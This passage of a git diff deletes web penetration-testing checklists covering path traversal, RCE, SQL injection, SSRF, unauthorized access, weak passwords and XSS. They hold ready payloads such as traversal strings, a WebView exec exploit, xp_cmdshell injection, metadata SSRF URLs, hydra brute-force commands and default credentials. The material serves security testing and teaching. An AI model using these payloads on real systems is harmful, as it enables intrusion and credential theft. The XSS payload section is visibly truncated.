-2. Test DNS zone transfer on all nameservers -3. Check for directory listing on web roots and common paths -4. Probe database/cache services for unauthenticated access -5. Test IIS-specific vulnerabilities (short names, write perms) -6. Check cross-domain policy files for overly broad access -7. Verify debug/info endpoints are disabled in production -8. Test FTP and Rsync for anonymous access -9. Check for default installation files and directories - -## Common Root Causes -- Management consoles bound to 0.0.0.0 instead of localhost -- Default installations not hardened post-deployment -- DNS servers allowing zone transfers to any requester -- Services deployed without authentication requirements -- Web server directory indexing enabled by default -- Debug features and info pages left in production -- Cross-domain policies set to wildcard (`*`) -- IIS write permissions not properly restricted diff --git a/skills/wooyun-legacy/references/checklists/path-traversal-checklist.md b/skills/wooyun-legacy/references/checklists/path-traversal-checklist.md deleted file mode 100644 index 5951e5e..0000000 --- a/skills/wooyun-legacy/references/checklists/path-traversal-checklist.md +++ /dev/null @@ -1,87 +0,0 @@ -# Path Traversal Testing Checklist -> Derived from ~30 real-world vulnerability cases (WooYun 2010-2016) - -## High-Risk Parameters to Test -| Parameter | Frequency | Context | -|-----------|-----------|---------| -| `filePath` / `filepath` | High | File download/read endpoints | -| `filename` | High | Download handlers | -| `url` / `urlParam` | Medium | Proxy/fetch endpoints | -| `RelatedPath` | Medium | File management panels | -| `dd` | Medium | Document download links | -| `image` | Low | Image proxy/thumbnail | -| `path`, `name`, `n` | Low | Generic file parameters | -| `FileID`, `FileName` | Low | Attachment download | -| `Accessory` | Low | CMS attachment handlers | -| `hDFile` | Low | Download handlers | -| `tpl` | Low | Template inclusion | -| `bg` | Low | Background/theme loaders | - -## Common Attack Patterns -1. **Direct file read** via download endpoints (most common) -2. **Directory listing** through misconfigured web servers -3. **CMS-specific file read** (phpCMS, SiteServer, Yxcms, FineCMS) -4. **Backup file exposure** via predictable paths -5. **Configuration file leak** (database.php, web.xml, web.config) -6. **Null byte injection** to bypass extension checks - -## Bypass Techniques -- `../` replaced with empty string? Use `....//` or `..././` -- Extension check? Use null byte: `../../etc/passwd%00.jpg` -- Absolute path blocked? Try relative traversal -- Forward slash filtered? Try backslash on Windows: `..\..\..\` -- URL encoding: `%2e%2e%2f` or double-encode `%252e%252e%252f` -- Browser vs curl: Some traversals only work via raw HTTP (not browser) - -## Quick Test Vectors -``` -# Basic traversal -../../../etc/passwd -..\..\..\..\windows\win.ini - -# Null byte bypass -../../../etc/passwd%00.jpg -../../../etc/passwd%00.png - -# Double-encoding -%252e%252e%252f%252e%252e%252fetc/passwd - -# Filter bypass (double dots replaced) -....//....//....//etc/passwd -..././..././..././etc/passwd - -# Java/Tomcat paths -/WEB-INF/web.xml -/WEB-INF/classes/ -/META-INF/MANIFEST.MF - -# Windows targets -..\..\..\..\windows\system32\drivers\etc\hosts -``` - -## High-Value Target Files -| Platform | Files | -|----------|-------| -| Linux | `/etc/passwd`, `/etc/shadow` | -| Windows | `win.ini`, `boot.ini` | -| PHP | `config.php`, `database.php`, `.env` | -| Java | `WEB-INF/web.xml`, `WEB-INF/classes/` | -| .NET | `web.config`, `machine.config` | -| General | `.svn/entries`, `.git/config`, `.bash_history` | - -## Testing Methodology -1. Identify all file download/read endpoints -2. Map parameters that accept file paths or names -3. Test basic `../` traversal sequences (3-8 levels deep) -4. Attempt null byte injection for extension bypasses -5. Try encoding variations if basic traversal is filtered -6. Target configuration files for credential extraction -7. Check if directory listing is enabled on web roots -8. Test both GET and POST parameter variants - -## Common Root Causes -- `file_get_contents($_GET['path'])` without sanitization -- Download handlers that pass user input directly to filesystem -- Incomplete filtering (replacing `../` once instead of recursively) -- Extension validation via client-side or bypassable checks -- CMS file managers exposing parent directory navigation diff --git a/skills/wooyun-legacy/references/checklists/rce-checklist.md b/skills/wooyun-legacy/references/checklists/rce-checklist.md deleted file mode 100644 index 4e1cf9a..0000000 --- a/skills/wooyun-legacy/references/checklists/rce-checklist.md +++ /dev/null @@ -1,93 +0,0 @@ -# Remote Code Execution (RCE) Testing Checklist -> Derived from 11 real-world vulnerability cases (WooYun 2010-2016) - -## High-Risk Parameters to Test -| Parameter | Context | Notes | -|-----------|---------|-------| -| `id` | 1x | Resource identifier triggering backend processing | -| `url` | 1x | URL parameter in protocol handlers | -| `repo` | 1x | Repository/package name parameters | -| `intent` | 1x | Android intent parameters | -| `apkpackagename` | 1x | Android package identifiers | - -## Attack Pattern Distribution -| Pattern | Count | Percentage | -|---------|-------|------------| -| Remote command execution | 8 | 73% | -| Remote code execution | 3 | 27% | - -## Vulnerability Categories - -### 1. Android WebView Interface Exploitation (~35% of cases) -The most common RCE vector in this dataset targets mobile apps. - -**Mechanism**: `addJavascriptInterface()` in Android WebView (pre-4.2) -exposes Java objects to JavaScript, enabling `java.lang.Runtime.exec()`. - -**Detection pattern:** -```javascript -// Scan for exposed interfaces -for (var obj in window) { - if ("getClass" in window[obj]) { - // Vulnerable interface found - } -} -``` - -**Exploitation:** -```javascript -function execute(cmdArgs) { - return Navigator.getClass() - .forName("java.lang.Runtime") - .getMethod("getRuntime", null) - .invoke(null, null) - .exec(cmdArgs); -} -execute(["/system/bin/sh", "-c", "id"]); -``` - -### 2. Struts2 Remote Code Execution (~25% of cases) -Same as command execution but categorized under RCE. -- University and government systems running outdated Struts2 -- `.action` endpoints with OGNL injection - -### 3. Desktop Application Protocol Handlers (~15% of cases) -- Custom protocol schemes (e.g., `bdbrowser://`) -- IM client message handling leading to local file/command execution -- Auto-update mechanisms hijacked via MITM - -### 4. Enterprise Software RCE (~15% of cases) -- SAGE ERP universal RCE -- ActiveX buffer overflow in client applications -- SourceForge-class platform vulnerabilities - -### 5. Client-Side MITM to RCE (~10% of cases) -- Auto-update over HTTP (no HTTPS/signature verification) -- Attacker replaces update binary via network interception -- Affects desktop and mobile applications - -## Quick Test Vectors -``` -1. Android apps: Check for addJavascriptInterface in APK -2. Web apps: Test .action/.do endpoints for Struts2 -3. Desktop apps: Test custom protocol handlers -4. Auto-update: Check if updates use HTTPS + signature verification -5. Enterprise: Check exposed management consoles -6. Mobile: Test WebView for JavaScript bridge interfaces -``` - -## High-Value Targets -- **Mobile applications**: Android apps with WebView bridges -- **IM/messaging clients**: Message rendering with code execution -- **Desktop applications**: Protocol handlers and auto-updaters -- **Enterprise ERP systems**: Server-side code execution -- **Educational institution sites**: Often running outdated frameworks - -## Root Causes -| Cause | Frequency | -|-------|-----------| -| Insecure Android WebView bridges | Most common | -| Unpatched framework vulnerabilities | Very common | -| Unsafe protocol handler registration | Occasional | -| HTTP auto-update without verification | Occasional | -| ActiveX/legacy plugin vulnerabilities | Rare | diff --git a/skills/wooyun-legacy/references/checklists/sql-injection-checklist.md b/skills/wooyun-legacy/references/checklists/sql-injection-checklist.md deleted file mode 100644 index 41cb0de..0000000 --- a/skills/wooyun-legacy/references/checklists/sql-injection-checklist.md +++ /dev/null @@ -1,97 +0,0 @@ -# SQL Injection Testing Checklist -> Derived from 234 real-world vulnerability cases (WooYun 2010-2016) - -## High-Risk Parameters to Test -| Parameter | Frequency | Notes | -|-----------|-----------|-------| -| `id` | 46x | Most commonly injectable; numeric IDs in GET requests | -| `action` | 8x | Action dispatch parameters in MVC frameworks | -| `act` | 5x | Shortened action parameter variant | -| `type` / `typeId` / `typeid` | 8x | Category/type selectors, often unquoted integers | -| `username` | 2x | Login forms, user lookups | -| `s` | 3x | Search parameters | -| `aid` | 3x | Article/asset IDs | -| `mod` | 4x | Module selectors | -| `uid` / `rid` / `cid` / `pid` | 10x | Various entity ID parameters | -| `Channel` | 1x | Content management routing | - -## Attack Pattern Distribution -| Pattern | Count | Percentage | -|---------|-------|------------| -| Direct injection | 42 | 71% | -| Data leakage | 4 | 7% | -| Directory traversal chain | 1 | 2% | -| Getshell via SQLi | 1 | 2% | - -## Common Injection Techniques (by frequency) - -### 1. Error-Based (most common) -``` -' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x71, - (SELECT user()),0x71,FLOOR(RAND(0)*2))x - FROM information_schema.tables GROUP BY x)a)-- -``` - -### 2. UNION-Based -``` -' UNION SELECT 1,2,3,CONCAT(username,0x23,password) - FROM admin_table-- -``` -``` -UNION/**/SELECT/**/1/**/FROM(SELECT/**/COUNT(*), - CONCAT((...),FLOOR(RAND(0)*2))a - FROM information_schema.tables GROUP BY a)b -``` - -### 3. Time-Based Blind -``` -'; WAITFOR DELAY '0:0:5'-- (MSSQL) -' AND SLEEP(5)-- (MySQL) -``` - -### 4. Boolean-Based Blind -``` -' AND 2020=2020 AND 'x'='x -' AND 1=1-- -' AND 1=2-- -``` - -### 5. Stacked Queries (MSSQL) -``` -'; WAITFOR DELAY '0:0:5'-- -'; EXEC xp_cmdshell('whoami')-- -``` - -## Bypass Techniques -- **Comment injection**: `/**/` between SQL keywords to evade WAF -- **Case variation**: `SeLeCt`, `uNiOn` -- **URL encoding**: `%27` for single quote, `%20` for space -- **Double encoding**: `%2527` for single quote -- **Array parameter abuse**: `gids[100][0]=) AND (subquery)#` -- **Numeric context**: Unquoted integer parameters skip string-based filters - -## Quick Test Vectors -``` -1. id=1' (error detection) -2. id=1 AND 1=1 / id=1 AND 1=2 (boolean blind) -3. id=1' OR '1'='1 (auth bypass) -4. id=1 AND SLEEP(5) (time blind MySQL) -5. id=1'; WAITFOR DELAY '0:0:5'-- (time blind MSSQL) -6. id=1 UNION SELECT NULL,NULL,NULL-- (column enumeration) -7. id=1' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- (error-based) -``` - -## High-Value Targets -- **Login forms**: `username` parameter with stacked queries -- **Search functions**: `keyword`/`s` parameters with UNION injection -- **Content pages**: `id`/`typeid` in article/news detail pages -- **API endpoints**: `action` parameters in `.do`/`.action` handlers -- **ASP.NET apps**: `__EVENTVALIDATION` and viewstate parameters - -## Database Distribution -| DBMS | Observed Frequency | -|------|-------------------| -| MySQL 5.x | Most common | -| Microsoft SQL Server | Second most common | -| Oracle | Occasional (government systems) | -| Access | Legacy ASP applications | diff --git a/skills/wooyun-legacy/references/checklists/ssrf-checklist.md b/skills/wooyun-legacy/references/checklists/ssrf-checklist.md deleted file mode 100644 index a167eeb..0000000 --- a/skills/wooyun-legacy/references/checklists/ssrf-checklist.md +++ /dev/null @@ -1,99 +0,0 @@ -# SSRF Testing Checklist -> Derived from ~40 real-world vulnerability cases (WooYun 2010-2016) - -## High-Risk Parameters to Test -| Parameter | Context | -|-----------|---------| -| `url` | URL fetch/proxy endpoints | -| `target` | Redirect or proxy targets | -| `inputFile` | File processing endpoints | -| `s_url` | Share/callback URLs | -| `imageUrl` | Image proxy/thumbnail | -| `callback` | JSONP/webhook endpoints | -| `link` | URL preview/unfurl | -| `src`, `ref` | Resource loading parameters | - -## Common Attack Patterns -1. **Internal network scanning** via Weblogic UDDI Explorer (most common) - - `/uddiexplorer/SearchPublicRegistries.jsp` (CVE-2014-4210) -2. **URL proxy/fetch endpoints** with no domain restriction -3. **Image proxy SSRF** -- thumbnail generators that fetch arbitrary URLs -4. **Transcoding service SSRF** -- web page conversion services -5. **Webhook/callback SSRF** -- user-supplied callback URLs -6. **File processing SSRF** -- XML/document parsers fetching external resources - -## Bypass Techniques -- **IP representations**: `127.0.0.1` → `0x7f000001`, `2130706433`, `0177.0.0.1` -- **DNS rebinding**: Domain that resolves to internal IP -- **URL encoding**: `%31%32%37%2e%30%2e%30%2e%31` -- **Redirect chain**: External URL that 302-redirects to internal address -- **IPv6**: `[::1]`, `[::ffff:127.0.0.1]` -- **URL parser differences**: `http://evil.com#@internal.host` -- **Protocol smuggling**: `gopher://`, `dict://`, `file://` -- **Partial domain match bypass**: `internal.company.com.evil.com` - -## Quick Test Vectors -``` -# Basic internal network probe -http://127.0.0.1 -http://localhost -http://[::1] -http://0x7f000001 - -# Cloud metadata endpoints -http://169.254.169.254/latest/meta-data/ -http://metadata.google.internal/ - -# Common internal services -http://INTERNAL_IP:8080 (Tomcat) -http://INTERNAL_IP:6379 (Redis) -http://INTERNAL_IP:27017 (MongoDB) -http://INTERNAL_IP:3306 (MySQL) -http://INTERNAL_IP:9200 (Elasticsearch) -http://INTERNAL_IP:11211 (Memcached) - -# Weblogic SSRF (CVE-2014-4210) -/uddiexplorer/SearchPublicRegistries.jsp - ?operator=http://INTERNAL_IP:PORT - &rdoSearch=name&txtSearchname=sdf - &txtSearchkey=&txtSearchfor= - &selfor=Business+location - &btnSubmit=Search - -# Protocol smuggling -gopher://internal:6379/_INFO -dict://internal:6379/INFO -``` - -## Testing Methodology -1. Identify all endpoints that accept URLs or fetch remote resources -2. Test with `http://127.0.0.1` and known internal IP ranges -3. Observe response differences (timing, content, error messages) -4. Use time-based detection: compare response time for open vs closed ports -5. Test alternative IP representations and protocols -6. Check for Weblogic UDDI Explorer on Java applications -7. Probe for cloud metadata services -8. Test redirect-based bypasses if direct internal URLs are blocked - -## Port Detection via Response Analysis -| Response | Meaning | -|----------|---------| -| Connection refused / different error | Port closed, host alive | -| Timeout | Host down or filtered | -| Content returned | Port open, service active | -| Specific error message | Port open, protocol mismatch | - -## High-Value Internal Targets -- Redis (6379) -- can write webshell via `CONFIG SET dir` -- MongoDB (27017) -- often no auth, full DB access -- Memcached (11211) -- dump cached session data -- Elasticsearch (9200) -- search index data exposure -- Cloud metadata (169.254.169.254) -- IAM credentials -- Internal admin panels (8080, 8443, 9090) - -## Common Root Causes -- URL fetch functions with no domain/IP allowlist -- Weblogic UDDI Explorer exposed to internet -- Image proxy services without input validation -- Incomplete blocklist (blocks `127.0.0.1` but not `0x7f000001`) -- No restriction on URL protocol scheme diff --git a/skills/wooyun-legacy/references/checklists/unauthorized-access-checklist.md b/skills/wooyun-legacy/references/checklists/unauthorized-access-checklist.md deleted file mode 100644 index c71f49f..0000000 --- a/skills/wooyun-legacy/references/checklists/unauthorized-access-checklist.md +++ /dev/null @@ -1,89 +0,0 @@ -# Unauthorized Access Testing Checklist -> Derived from ~55 real-world vulnerability cases (WooYun 2010-2016) - -## High-Risk Parameters to Test -| Parameter | Context | -|-----------|---------| -| `uid`, `id` | User/resource identifiers (IDOR) | -| `cmd` | Command/action parameters | -| `lstate` | Login state flags | -| `mod`, `do` | Module/action selectors | -| `ajax` | AJAX request flags (auth bypass) | -| `gsid`, `type` | Session/type identifiers | -| `trueName` | User lookup endpoints | -| `filePath` | File access parameters | -| `code`, `method` | API method selectors | - -## Common Attack Patterns (by frequency) -1. **Horizontal privilege escalation (IDOR)** -- Change user ID to access other accounts -2. **Authentication bypass** -- Direct URL access to admin pages -3. **Unauthenticated service access** -- Redis, MongoDB, Memcached exposed without auth -4. **Vertical privilege escalation** -- Regular user accessing admin functions -5. **Cookie/session manipulation** -- Forged or replayed authentication tokens -6. **Sandbox escape** -- Kiosk/terminal breakout via UI interaction - -## Unauthenticated Service Exposure -| Service | Default Port | Risk | -|---------|-------------|------| -| Redis | 6379 | Webshell write, key dump | -| MongoDB | 27017 | Full database access | -| Memcached | 11211 | Session data, credential leak | -| Elasticsearch | 9200 | Index data exposure | -| JBOSS JMX | 8080 | Remote code execution | -| Docker API | 2375 | Container escape | -| Zabbix | 10051 | Command execution | -| Hadoop | 50070 | HDFS data access | - -## Bypass Techniques -- **Direct URL access**: Skip login page, navigate directly to admin endpoints -- **Cookie manipulation**: Set `isAdmin=1` or modify role in JWT -- **Parameter injection**: Add `&admin=true` or `&role=admin` -- **HTTP method switching**: Try PUT/DELETE when GET/POST is blocked -- **Path traversal to admin**: `/admin/../admin/` or `/./admin/` -- **Request header spoofing**: `X-Forwarded-For: 127.0.0.1` for IP allowlists -- **SQL injection in login**: `' OR 1=1--` in username/password fields -- **Default credentials**: admin/admin, weblogic/weblogic, root/root - -## Quick Test Vectors -``` -# Direct admin access -/admin/ -/manager/ -/console/ -/system/ -/management/ - -# Service probing -redis-cli -h TARGET -p 6379 INFO -mongo TARGET:27017 -curl http://TARGET:9200/_cat/indices - -# IDOR testing -GET /api/user/profile?id=1001 (own) -GET /api/user/profile?id=1002 (other) -GET /api/user/profile?id=1 (admin) - -# Authentication bypass -# Remove session cookie and access protected endpoints -# Modify user role in cookie/JWT -# Access API endpoints directly without authentication -``` - -## Testing Methodology -1. Enumerate all endpoints and map authentication requirements -2. Access each endpoint without authentication -3. Test IDOR by modifying user/resource IDs in requests -4. Scan for exposed database/infrastructure services -5. Try default credentials on admin panels and services -6. Test cookie/token manipulation for privilege escalation -7. Check if API endpoints enforce same auth as web UI -8. Verify that role checks are server-side, not client-side - -## Common Root Causes -- Missing authentication middleware on admin routes -- Authorization checks in frontend JavaScript only -- Database services bound to 0.0.0.0 without authentication -- Sequential predictable IDs without ownership verification -- Session/role stored in client-modifiable cookie -- Default credentials left unchanged after deployment -- IP-based access control that trusts proxy headers diff --git a/skills/wooyun-legacy/references/checklists/weak-password-checklist.md b/skills/wooyun-legacy/references/checklists/weak-password-checklist.md deleted file mode 100644 index dcb1663..0000000 --- a/skills/wooyun-legacy/references/checklists/weak-password-checklist.md +++ /dev/null @@ -1,115 +0,0 @@ -# Weak Password Testing Checklist -> Derived from ~75 real-world vulnerability cases (WooYun 2010-2016) - -## High-Risk Parameters to Test -| Parameter | Context | -|-----------|---------| -| `id`, `uid` | User identifiers for enumeration | -| `cmd` | Command execution post-auth | -| `action` | Admin action parameters | -| `dir` | Directory browsing post-auth | -| `systemID` | System selector parameters | -| `APP_UNIT` | Application unit identifiers | -| `site_id` | Multi-tenant site selectors | - -## Most Common Default Credentials -| Username | Password | Context | -|----------|----------|---------| -| `admin` | `admin` | Web application admin panels | -| `admin` | `123456` | Chinese web applications | -| `admin` | `admin123` | CMS backends | -| `admin` | `000000` | Enterprise systems | -| `admin` | `password` | Generic default | -| `weblogic` | `weblogic` | Oracle WebLogic console | -| `weblogic` | `12345678` | WebLogic (alternate) | -| `root` | `root` | Database, SSH | -| `test` | `test` | Development accounts | -| `sa` | *(empty)* | MSSQL default | -| `prtgadmin` | `prtgadmin` | PRTG monitoring | -| `tomcat` | `tomcat` | Apache Tomcat manager | - -## Common Attack Patterns (by frequency) -1. **Admin panel weak password** (most common) - - CMS/OA systems with default `admin/123456` - - No account lockout after failed attempts -2. **Service weak password** - - WebLogic, JBoss, Tomcat management consoles - - Database services (MySQL, MSSQL, Oracle) - - Monitoring platforms (Zabbix, PRTG, Nagios) -3. **Infrastructure weak password** - - SSH/Telnet with default credentials - - Router/switch admin interfaces - - IPMI/BMC management (e.g., Huawei Tecal) -4. **Password → Shell escalation chain** - - WebLogic console → Deploy WAR → Webshell - - Tomcat manager → Deploy WAR → Code execution - - JBoss JMXInvokerServlet → Remote code execution - - Database access → OS command via xp_cmdshell/UDF - -## High-Value Weak Password Targets -| Service | Default Port | Default Creds | -|---------|-------------|---------------| -| WebLogic | 7001 | weblogic/weblogic | -| Tomcat Manager | 8080 | tomcat/tomcat | -| JBoss | 8080 | admin/admin | -| phpMyAdmin | 80/8080 | root/*(empty)* | -| Jenkins | 8080 | *(no auth)* | -| Zabbix | 10051 | Admin/zabbix | -| Nagios | 80 | nagiosadmin/nagios | -| Grafana | 3000 | admin/admin | -| Router | 80 | admin/admin | -| VPN | 443 | *(varies)* | - -## Quick Test Vectors -``` -# Top password list for Chinese web applications -admin -123456 -admin123 -000000 -password -12345678 -test -888888 -666666 -abc123 -admin888 -qwerty - -# Username enumeration -admin, administrator, root, test, guest -manager, system, sysadmin, operator -[company-name], [domain-prefix] - -# Service-specific brute force -hydra -l admin -P passwords.txt TARGET http-post-form -hydra -l root -P passwords.txt TARGET ssh -hydra -l sa -P passwords.txt TARGET mssql -``` - -## Post-Authentication Escalation -1. **WebLogic** → Deploy WAR package → Webshell -2. **Tomcat** → Manager app → Deploy WAR → Shell -3. **JBoss** → JMXInvokerServlet → Remote execution -4. **phpMyAdmin** → SELECT INTO OUTFILE → Webshell -5. **Database** → Read config files → Internal credentials -6. **OA System** → Internal documents → VPN credentials -7. **Email** → Password reset → Other system access - -## Testing Methodology -1. Enumerate admin panel and service login pages -2. Test default credentials for identified services -3. Attempt common username/password combinations -4. Check for account lockout policies -5. Test rate limiting on login endpoints -6. Verify password complexity requirements -7. Check for credential reuse across services -8. Test post-authentication escalation paths - -## Common Root Causes -- Default credentials never changed after installation -- No password complexity policy enforcement -- No account lockout or rate limiting -- Management consoles exposed to internet -- Same password reused across multiple services -- Development/test accounts left in production diff --git a/skills/wooyun-legacy/references/checklists/xss-checklist.md b/skills/wooyun-legacy/references/checklists/xss-checklist.md deleted file mode 100644 index 9f4222d..0000000 --- a/skills/wooyun-legacy/references/checklists/xss-checklist.md +++ /dev/null @@ -1,103 +0,0 @@ -# XSS Testing Checklist -> Derived from 46 real-world vulnerability cases (WooYun 2010-2016) - -## High-Risk Parameters to Test -| Parameter | Frequency | Notes | -|-----------|-----------|-------| -| `id` | 2x | Reflected in page content | -| `photourl` | 1x | Image URL parameters; direct injection | -| `w` / `kwd` | 1x | Search keyword parameters | -| `url` / `sohuurl` | 1x | URL redirect/embed parameters | -| `uid` / `status` | 1x | User profile fields | -| `auth_str` | 1x | Authentication string reflected in page | -| `m` | 1x | Module/method selectors | -| `rf` | 1x | Referrer parameters | -| `vers` | 1x | Version parameters in Flash embeds | -| `word` / `get` | 1x | Search and query parameters | - -## XSS Type Distribution -| Type | Observed Cases | Risk | -|------|---------------|------| -| Stored XSS | ~65% | Critical - persists, affects all viewers | -| Reflected XSS | ~25% | High - requires victim click | -| DOM-based XSS | ~10% | High - client-side only | - -## Common Attack Vectors (by frequency) - -### 1. Stored XSS via User Input Fields -- **Forum posts / comments**: Most common stored XSS entry point -- **Profile fields**: Username, bio, personal description -- **Blog content**: Post titles and body content -- **Mobile app submissions**: WAP pages with weaker filtering than PC -- **Forwarded content**: Social sharing features re-rendering HTML - -### 2. Reflected XSS via URL Parameters -- Search boxes and keyword parameters -- Error pages reflecting user input -- Redirect URL parameters -- Image/resource URL parameters - -### 3. Flash-Based XSS -- SWF files with `allowscriptaccess="always"` -- Flash embed tags loading external SWF files -- ExternalInterface.call() in ActionScript - -## Payload Catalog - -### Basic Detection -``` -"> - - -``` - -### Filter Bypass Payloads -``` - -